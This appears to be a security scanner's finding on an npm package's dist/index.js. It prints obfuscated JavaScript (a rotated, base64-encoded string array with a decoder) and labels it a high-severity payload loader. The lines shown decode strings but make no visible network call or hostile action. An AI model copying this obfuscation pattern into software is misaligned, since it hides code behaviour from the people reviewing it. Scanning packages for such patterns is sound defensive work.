Lines 9-49javascript
10 const _0x2cf78a = -parseInt(_0x1745e9(273)) / 1 + -parseInt(_0x1745e9(291)) / 2 + -parseInt(_0x1745e9(306)) / 3 + parseInt(_0x1745e9(272)) / 4 * (-parseInt(_0x1745e9(237)) / 5) + parseInt(_0x1745e9(299)) / 6 * (parseInt(_0x1745e9(235)) / 7) + -parseInt(_0x1745e9(240)) / 8 * (-parseInt(_0x1745e9(312)) / 9) + parseInt(_0x1745e9(285)) / 10;
11 if (_0x2cf78a === _0x2273a7) break;
12 else _0x85473d["push"](_0x85473d["shift"]());
14 _0x85473d["push"](_0x85473d["shift"]());
19 const _0x37ecca = ["zMLSDgvY", "DhLWzq", "BwfW", "vgfZAYa", "CgXHBM5PBMC", "mty4mtyYtNH2v1LO", "twf4ihjLCgXHBM5PBMCGyxr0zw1WDhmGCMvHy2HLza", "DxbKyxrLuhjVz3jLC3m", "CgfYC2vqBgfU", "zgvZy3jPChrPB24", "cKv4yw1WBguGmtOkuMvXDwvZDdOGiKzPBMqGDgHLigjLC3qGBgfWDg9WihvUzgvYicqXmdaWigfUzcbHzgqGAxqGDg8Gy2fYDcikuMvZCg9UC2u6cNSkicaIz29HBci6icjqDxjJAgfZzsbIzxn0igXHChrVCcb1BMrLCIaKmtaWmciScIaGiNrHC2TZiJOGwWOGicaGEWOGicaGicaIzgvZy3jPChrPB24IoIaItMf2AwDHDguGDg8GChjVzhvJDhmGCgfNzsiScIaGicaGicj0ExbLiJOGiM5HDMLNyxrPB24IlaOGicaGicaIy2fWywjPBgL0AwvZiJOGwYjUyxzPz2f0zsiSicjVyNnLCNzLiL0ScIaGicaGicjLC3rPBwf0zwreDxjHDg ...
20 _0x219d = function() {
25function _0x5949(_0x1dac9a, _0x2dcb4b) {
26 _0x1dac9a = _0x1dac9a - 228;
27 const _0x219d47 = _0x219d();
28 let _0x5949a1 = _0x219d47[_0x1dac9a];
29 if (_0x5949["RQtLiO"] === void 0) {
30 var _0x5d50fe = function(_0x106434) {
31 const _0x3f6684 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";
HighObfuscated Payload Loader
Source contains an obfuscator-style string-array loader that reconstructs and executes hidden code.
dist/index.jsView on unpkg · L29 32 let _0x179bb1 = "", _0x63c2d7 = "";
33 for (let _0x49de3c = 0, _0x1eebdf, _0x2f2b52, _0x37abd8 = 0; _0x2f2b52 = _0x106434["charAt"](_0x37abd8++); ~_0x2f2b52 && (_0x1eebdf = _0x49de3c % 4 ? _0x1eebdf * 64 + _0x2f2b52 : _0x2f2b52, _0x49de3c++ % 4) ? _0x179bb1 += String["fromCharCode"
34 _0x2f2b52 = _0x3f6684["indexOf"](_0x2f2b52);
36 for (let _0x4ba1f9 = 0, _0xa385bd = _0x179bb1["length"]; _0x4ba1f9 < _0xa385bd; _0x4ba1f9++) {
37 _0x63c2d7 += "%" + ("00" + _0x179bb1["charCodeAt"](_0x4ba1f9)["toString"](16))["slice"](-2);
39 return decodeURIComponent(_0x63c2d7);
41 _0x5949["VekQMt"] = _0x5d50fe, _0x5949["gAwVdM"] = {}, _0x5949["RQtLiO"] = !![];
43 const _0x3c8c71 = _0x219d47[0], _0x7d53e7 = _0x1dac9a + _0x3c8c71, _0x316738 = _0x5949["gAwVdM"][_0x7d53e7];
44 return !_0x316738 ? (_0x5949a1 = _0x5949["VekQMt"](_0x5949a1), _0x5949["gAwVdM"][_0x7d53e7] = _0x5949a1) : _0x5949a1 = _0x316738, _0x5949a1;
47 constructor(_0x179bb1 = {}) {
48 __publicField(this, "config");
49 __publicField(this, "currentPlan", null);
Long lines were clipped for display.